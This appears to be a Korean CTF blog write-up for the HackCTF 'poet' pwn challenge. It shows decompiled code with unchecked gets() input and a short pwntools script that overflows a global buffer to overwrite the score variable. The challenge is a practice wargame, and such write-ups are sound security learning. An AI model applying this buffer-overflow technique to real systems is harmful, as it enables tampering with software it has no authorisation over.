[HackCTF] poet 풀이 (200p)
Wargame/HackCTF

[HackCTF] poet 풀이 (200p)

풀이

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)


먼저 poet을 실행해보자.

시를 적고, 저자를 적으면 점수를 준다.

입력은 무한 반복문으로 받는 듯하다.

IDA를 이용해 슈도코드를 확인해보자.

 

main Pseudocode

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  const char *v3; // rdi

  setvbuf(_bss_start, 0LL, 2, 0LL);
  v3 = s;
  puts(s);
  while ( 1 )
  {
    get_poem(v3, 0LL);
    get_author(v3);
    rate_poem(v3);
    if ( dword_6024E0 == 1000000 )
      break;
    v3 = asc_400D78;
    puts(asc_400D78);
  }
  reward(v3);
}

get_poem Pseudocode

__int64 get_poem()
{
  __int64 result; // rax

  printf("Enter :\n> ");
  result = gets(poem);
  dword_6024E0 = 0;
  return result;
}

get_author Pseudocode

__int64 get_author()
{
  printf(&byte_400C38);
  return gets(&unk_6024A0);
}

rate_poem Pseudocode

int rate_poem()
{
  char dest; // [rsp+0h] [rbp-410h]
  char *s1; // [rsp+408h] [rbp-8h]

  strcpy(&dest, poem);
  for ( s1 = strtok(&dest, " \n"); s1; s1 = strtok(0LL, " \n") )
  {
    if ( !strcmp(s1, "ESPR")
      || !strcmp(s1, "eat")
      || !strcmp(s1, "sleep")
      || !strcmp(s1, "pwn")
      || !strcmp(s1, "repeat")
      || !strcmp(s1, "CTF")
      || !strcmp(s1, "capture")
      || !strcmp(s1, "flag") )
    {
      dword_6024E0 += 100;
    }
  }
  return printf(asc_400BC0, poem, (unsigned int)dword_6024E0);
}

먼저 main 함수에서 get_poem -> get_author -> rate_poem 함수를 실행한다.

get_poem 함수에서는 poem 배열에다가 시를 입력받는다.

get_author 함수에서는 0x6024a0 위치에 저자를 입력받는다.

그리고, rate_poem 함수에서는 ESPR, eat, sleep.. 등등 문자열 개수만큼 100점을 부여하는데..

 

플래그 상을 받기 위해서는 점수 1,000,000점이 필요하다.

단순하게, 문자열을 10,000번 반복해 입력할 수 있다면 해결할 수 있지만, Segmentation Fault가 뜨기 때문에 다른 방법을 이용해야 한다.

 

여기서, get_author 함수를 보면, 저자를 입력받는 위치가 0x6024a0이고, 점수를 저장하는 위치는 0x6024e0이다.

get_author 함수에서 gets로 입력받기 때문에, bof가 발생하여 점수를 조작할 수 있을 거 같다.

저자의 주소와 점수의 주소 차이는 poem+1024(author) poem+1088(score) 이기 때문에 총 64칸 차이가 난다.

64칸을 더미 값으로 덮고, 뒤에 1,000,000점을 16진수로 넣어준다면?

페이로드는 다음과 같다.

  1 from pwn import *
  2
  3 context.log_level = 'debug'
  4 p = remote('ctf.j0n9hyun.xyz', 3012)
  5
  6 payload = 'A'*64
  7 payload += p64(0xf4240) #1,000,000 to hex
  8
  9 p.sendlineafter('>','bjloed')
 10 p.sendlineafter('>', payload)
 11
 12 p.interactive()

'Wargame > HackCTF' 카테고리의 다른 글

[HackCTF] Random Key 풀이 (200p)  (0) 2020.08.24
[HackCTF] 1996 풀이 (200p)  (0) 2020.08.23
[HackCTF] g++ pwn 풀이 (200p)  (0) 2020.08.23
[HackCTF] RTL_World 풀이 (200p)  (0) 2020.08.23
[HackCTF] Yes or no 풀이 (150p)  (0) 2020.08.23